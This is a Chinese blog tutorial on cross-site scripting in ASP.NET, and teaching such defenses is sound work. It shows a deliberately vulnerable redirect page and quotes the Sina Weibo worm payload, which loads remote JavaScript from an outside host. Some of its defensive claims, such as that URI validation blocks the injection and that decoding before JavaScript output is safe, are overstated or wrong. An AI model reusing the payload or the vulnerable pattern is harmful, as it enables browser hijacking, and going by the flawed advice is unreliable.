網(wǎng)絡(luò)攻擊技術(shù)(二)——Cross-site scripting

1.1.1 摘要在本系列的第一篇博文中，我向大家介紹了SQL Injection常用的攻擊和防范的技術(shù)。這個(gè)漏洞可以導(dǎo)致一些非常嚴(yán)重的后果，但幸運(yùn)的是我們可以通過(guò)限制用戶數(shù)據(jù)庫(kù)的權(quán)限、...

1.1.1 摘要

在本系列的第一篇博文中，我向大家介紹了SQL Injection常用的攻擊和防范的技術(shù)。這個(gè)漏洞可以導(dǎo)致一些非常嚴(yán)重的后果，但幸運(yùn)的是我們可以通過(guò)限制用戶數(shù)據(jù)庫(kù)的權(quán)限、使用參數(shù)化的SQL語(yǔ)句或使用ORM等技術(shù)來(lái)防范SQL Injection的發(fā)生，接來(lái)了要向大家介紹Cross-site scripting(XSS)。

定義：Cross-site scripting(XSS)，是一種經(jīng)常出現(xiàn)在Web應(yīng)用中的計(jì)算機(jī)安全漏洞，它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。比如，包括HTML代碼和客戶端腳本的頁(yè)面。為不和層疊樣式表(CSS)的縮寫(xiě)混淆，通常將跨站腳本縮寫(xiě)為XSS。攻擊者一般會(huì)利用XSS漏洞旁路掉訪問(wèn)控制——例如同源策略(same origin policy)或發(fā)起phishing攻擊，網(wǎng)頁(yè)掛馬，cookie竊取等。

上面的定義有點(diǎn)別扭不好理解，讓我們回憶一下SQL Injection是把惡意的代碼注入的數(shù)據(jù)庫(kù)并且執(zhí)行該SQL語(yǔ)句，最后返回相應(yīng)數(shù)據(jù)，所以SQL Injection是作用于數(shù)據(jù)庫(kù)的，而XSS是通過(guò)發(fā)送惡意的代碼到服務(wù)，讓服務(wù)器把惡意代碼發(fā)送到其他用戶瀏覽器中，最后劫持用戶瀏覽器，所以XSS是作用于用戶的。

1.1.2 正文

XSS主要攻擊方式有兩種：

一種就像SQL Injection攻擊一樣，我把一段腳本注入到服務(wù)器上，用戶訪問(wèn)方法服務(wù)器的某個(gè)URL，這個(gè)URL就會(huì)把遠(yuǎn)端的js注入進(jìn)來(lái)，這個(gè)js有可能自動(dòng)進(jìn)行很多操作。比如這次事件中的幫你發(fā)微博，幫你發(fā)站內(nèi)消息等。注入有很多方法，比如：提交表單，更改URL參數(shù)，上傳圖片，設(shè)置簽名，等等。

另一類(lèi)則是來(lái)自外部的攻擊，主要指的自己構(gòu)造XSS 跨站漏洞網(wǎng)頁(yè)或者尋找非目標(biāo)機(jī)以外的有跨站漏洞的網(wǎng)頁(yè)。如當(dāng)我們要滲透一個(gè)站點(diǎn)，我們自己構(gòu)造一個(gè)跨站網(wǎng)頁(yè)放在自己的服務(wù)器上，然后通過(guò)結(jié)合其它技術(shù)，如社會(huì)工程學(xué)等，欺騙目標(biāo)服務(wù)器的管理員打開(kāi)。這一類(lèi)攻擊的威脅相對(duì)較低，至少Ajax 要發(fā)起跨站調(diào)用是非常困難的（你可能需要hack瀏覽器）。

現(xiàn)在讓我們通過(guò)具體的例子來(lái)看看XSS攻擊是如何發(fā)生的，假設(shè)現(xiàn)在有一個(gè)招聘網(wǎng)站www.examplejob.com，它提供在該網(wǎng)站已注冊(cè)的用戶發(fā)布招聘信息和發(fā)送招聘信息到注冊(cè)用戶的功能。

圖1 發(fā)布正常招聘信息

通過(guò)該網(wǎng)站的發(fā)布招聘信息功能，我們把招聘信息發(fā)送到該網(wǎng)站的服務(wù)器中，然后服務(wù)器會(huì)把信息發(fā)送到注冊(cè)用戶中，這樣我們就實(shí)現(xiàn)了發(fā)布信息的目的了，然而當(dāng)一些不懷好意好意的用戶他們很可能利用該網(wǎng)站存在的漏洞對(duì)用戶進(jìn)行攻擊。

圖2發(fā)布惡意招聘信息

如上圖所示，不懷好意好意的用戶會(huì)把惡意代碼，如：JavaScript, VBScript, ActiveX, HTML或 Flash等，把它們嵌入到發(fā)布的信息中去，然后發(fā)送到服務(wù)器中，如果服務(wù)器沒(méi)有很好的校驗(yàn)信息，直接把信息轉(zhuǎn)發(fā)到用戶，這將導(dǎo)致一場(chǎng)XSS攻擊災(zāi)難。

通過(guò)上面的示意例子我們發(fā)現(xiàn)XSS攻擊和SQL Injection存在著相同點(diǎn)，它們是通過(guò)注惡意代碼進(jìn)行攻擊的，不同點(diǎn)是它們攻擊對(duì)象不盡相同。

XSS是通過(guò)注入惡意代碼，如：JavaScript, VBScript, ActiveX, HTML, 或 Flash等來(lái)劫持用戶瀏覽器，進(jìn)而通過(guò)構(gòu)造惡意的URL。

通過(guò)構(gòu)造惡意URL攻擊

假設(shè)現(xiàn)在有一個(gè)網(wǎng)站，它提供鏈接到www.examplejob.com網(wǎng)站的鏈接，這樣鏈接再普通不過(guò)了，但大家有沒(méi)有思考過(guò)這些外部鏈接可能存在危險(xiǎn)呢？

圖3 正常頁(yè)面跳轉(zhuǎn)

通過(guò)上圖，可以看到狀態(tài)欄告訴我們這個(gè)鏈接將跳轉(zhuǎn)到http://www.exmplejob.com，為了更加直觀地分析XSS攻擊，我們直接在地址欄中添加url參數(shù)實(shí)現(xiàn)跳轉(zhuǎn)，示意代碼如下：

頁(yè)面實(shí)現(xiàn):

<p>You are now leaving this site - we're no longer responsible!</p> 
<p><asp:Literal runat="server" ID="litLeavingTag" /></>

Code Behind：

var url = Request.QueryString["url"];
litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);

我們通過(guò)QueryString來(lái)獲取URL中傳遞的參數(shù)，如果URL中包含了惡意代碼，那么惡意代碼將跳轉(zhuǎn)到惡意網(wǎng)站或者直接執(zhí)行惡意代碼劫持用戶瀏覽器。

圖4構(gòu)造惡意URL

上圖我們?cè)诘刂窓谥休斎胍欢蜫avascript代碼，這也是XSS常用的攻擊手段，它通過(guò)構(gòu)造惡意的URL，當(dāng)用戶點(diǎn)擊鏈接后，實(shí)現(xiàn)在用戶的瀏覽器中運(yùn)行惡意的代碼。

圖5構(gòu)造惡意URL

當(dāng)我們點(diǎn)擊鏈接后，這次瀏覽器運(yùn)行了惡意Javascript代碼彈出了一個(gè)消息框提示我們已經(jīng)被黑了，但實(shí)際情況XSS攻擊并不會(huì)那么容易被用戶察覺(jué)，而且攻擊不僅僅是彈一個(gè)提示框。

校驗(yàn)用戶輸入

在前一博文中，我們通過(guò)正則表達(dá)式來(lái)校驗(yàn)用戶輸入是否包含惡意代碼來(lái)防御SQL Injection攻擊，而這里我們也是通過(guò)正則表達(dá)式來(lái)檢驗(yàn)用戶輸入是否包含惡意的代碼。

由于RFC3986規(guī)范中，規(guī)定只允使用19保留字符可以執(zhí)行一些特殊功能，那么接下來(lái)讓我們實(shí)現(xiàn)URL的正則表達(dá)式校驗(yàn)吧。

圖6 URL中保留字符

var url = Request.QueryString["url"];
if (!string.IsNullOrEmpty(url))
{
    this.litLeavingTag.Text =
    Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ?
    string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";
}

這里我們使用了Regex的靜態(tài)方法IsMatch()方法對(duì)URL進(jìn)行校驗(yàn)，當(dāng)我們?cè)噲D再次注入惡意的Javascript代碼時(shí)，成功的校驗(yàn)出了該URL是非法的。(想查看更強(qiáng)大URL校驗(yàn)請(qǐng)點(diǎn)這里)

圖7 正則表達(dá)式校驗(yàn)

前面我們使用自定義的正則表示式對(duì)URL進(jìn)行校驗(yàn)，但.NET Framework中已經(jīng)提供了校驗(yàn)URL是否合法的方法Uri.IsWellFormedUriString()，我們只需把URL字符串傳遞給它進(jìn)行校驗(yàn)就OK了，接下來(lái)讓我們實(shí)現(xiàn)校驗(yàn)URL的功能。

MSDN：默認(rèn)情況下，字符串被認(rèn)為是符合 RFC 2396 和 RFC 2732 的標(biāo)準(zhǔn)格式的，如果啟用國(guó)際資源標(biāo)識(shí)符(IRIs)或國(guó)際化域名解析(IDN)分析時(shí)，則符合RFC 3986和RFC 3987規(guī)范的字符串被認(rèn)為是完備的，符合規(guī)范的。

var url = Request.QueryString["url"];

// Adds the method to validate the url is correct or not.
if (Uri.IsWellFormedUriString(url, UriKind.Absolute))
{
    litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
}
else
{
    litLeavingTag.Text = "The url is invalid.";
}

xss7

圖8 正則表達(dá)式校驗(yàn)

當(dāng)我們?cè)俅螆?zhí)行包含惡意Javascript代碼的URL時(shí)，程序成功的校驗(yàn)出了URL中包含了惡意代碼，這也就可以有效防御XSS攻擊了。

使用.NET中的ValidateRequest校驗(yàn)

.NET Framework中提供ValidateRequest屬性防御XSS攻擊，由于ValidateRequest的默認(rèn)值為true，當(dāng)頁(yè)面中沒(méi)有設(shè)置ValidateRequest屬性值時(shí)，則頁(yè)面默認(rèn)需要請(qǐng)求驗(yàn)證，反之ValidateRequest為false時(shí)，頁(yè)面無(wú)需請(qǐng)求驗(yàn)證，所以我們無(wú)需編寫(xiě)一行代碼，就可以有效的防御XSS攻擊。

我們把正則表達(dá)式校驗(yàn)功能注銷(xiāo)了，然后在頁(yè)面或Web.Config文件中，將ValidateRequest值設(shè)置為true，實(shí)現(xiàn)代碼如下：

頁(yè)面中設(shè)置：

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="security.aspx.cs" Inherits="security" ValidateRequest="true" %>

Web.Config中的ValidateRequest屬性應(yīng)用于所有頁(yè)面：

<pages validateRequest="true" />

圖9 ValidateRequest校驗(yàn)

HTML編碼輸出

XSS漏洞是由于程序在輸出數(shù)據(jù)的時(shí)候沒(méi)有作好處理導(dǎo)致惡意代碼被瀏覽器解析造成的，所以另一種必不可少的XSS防御策略是輸出編碼方式，它通過(guò)確保在一個(gè)字符串中的每個(gè)字符都以正確的形式呈現(xiàn)。例如，為了在瀏覽器中正確地呈現(xiàn)“<”，“>”或空格等文本時(shí)，我們需要對(duì)其進(jìn)行編碼處理，否則瀏覽器將根據(jù)這些特性文本去執(zhí)行其功能，而不是正確的呈現(xiàn)在頁(yè)面上。

我們常見(jiàn)的HTML編碼有： ，<，>和" 等等。

通常，我們需要在網(wǎng)頁(yè)上顯示用戶輸入的數(shù)據(jù)，這時(shí)HttpUtility.HtmlEncode()方法派上用場(chǎng)了。

使用HttpUtility.HtmlEncode()方法來(lái)進(jìn)行編碼的輸出，如果在傳遞的字符串中包含標(biāo)點(diǎn)符合，它就會(huì)對(duì)該字符進(jìn)行編碼處理，如下面的示例代碼所示。

protected void btnSubmit_Click(object sender, EventArgs e)
{
    string inputText = this.Request.Form["txtInput"];
    if (!string.IsNullOrEmpty(inputText))
    {
        // Encodes text.
        this.litLeavingTag.Text = HttpUtility.HtmlEncode(inputText);
    }
}

圖10 提交惡意代碼

上面我們把包含惡意Javascript代碼提交到服務(wù)器。

圖11 Html編碼輸出

服務(wù)器使用.NET Framework中提供的靜態(tài)方法——HttpUtility.HtmlEncode()對(duì)字符串中的標(biāo)點(diǎn)符號(hào)進(jìn)行編碼處理，我們看到符號(hào)“<”和“>”被轉(zhuǎn)化成為“<”和“>”了。

非HTML編碼輸出

前面對(duì)呈現(xiàn)的文本都使用了HTML編碼輸出，事實(shí)上并非所有的輸出都為HTML編碼。JavaScript就是一個(gè)很好的例子，讓我們回憶一下前面的介紹的例子You have been hacked，我們把文本顯示在一個(gè)消息提示框中，而非直接呈現(xiàn)在頁(yè)面上。

圖12 非Html編碼輸出

當(dāng)我們把HTML編碼后的文本通過(guò)消息提示框顯示時(shí)，文本還是以編碼后的形式顯示沒(méi)有進(jìn)行解碼處理，但用戶一看到他們的第一反應(yīng)就是說(shuō)我們的程序出現(xiàn)亂碼有問(wèn)題，其實(shí)我們心知只是還沒(méi)有進(jìn)行解碼處理而已，所以在一些非HTML編碼中我們還要先進(jìn)行解碼處理HttpUtility.HtmlDecode()方法。

想必大家對(duì)新浪微博XSS攻擊事件記憶猶新吧！它利用了微博廣場(chǎng)頁(yè)面 http://weibo.com/pub/star 的一個(gè)URL注入了js腳本，然后通過(guò)http://163.fm/PxZHoxn短鏈接服務(wù)，將鏈接指向：

">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script>

URL編碼后顯示：

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

通過(guò)上面的例子大家發(fā)現(xiàn)其實(shí)上面的XSS攻擊也并不是那么神秘。

1.1.3 總結(jié)

XSS攻擊作為Web業(yè)務(wù)的最大威脅之一，它犯下了種種罪行例如新浪微博的XSS攻擊事件，不僅危害Web業(yè)務(wù)本身，對(duì)訪問(wèn)Web業(yè)務(wù)的用戶也會(huì)帶來(lái)直接的影響，如何防御和阻止XSS攻擊，保障Web站點(diǎn)的業(yè)務(wù)安全，這個(gè)重?fù)?dān)有落到每一位開(kāi)發(fā)者的身上了。

參考：

http://msdn.microsoft.com/en-us/library/ms998274

http://baike.baidu.com/view/2161269.htm

http://coolshell.cn/articles/4914.html

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)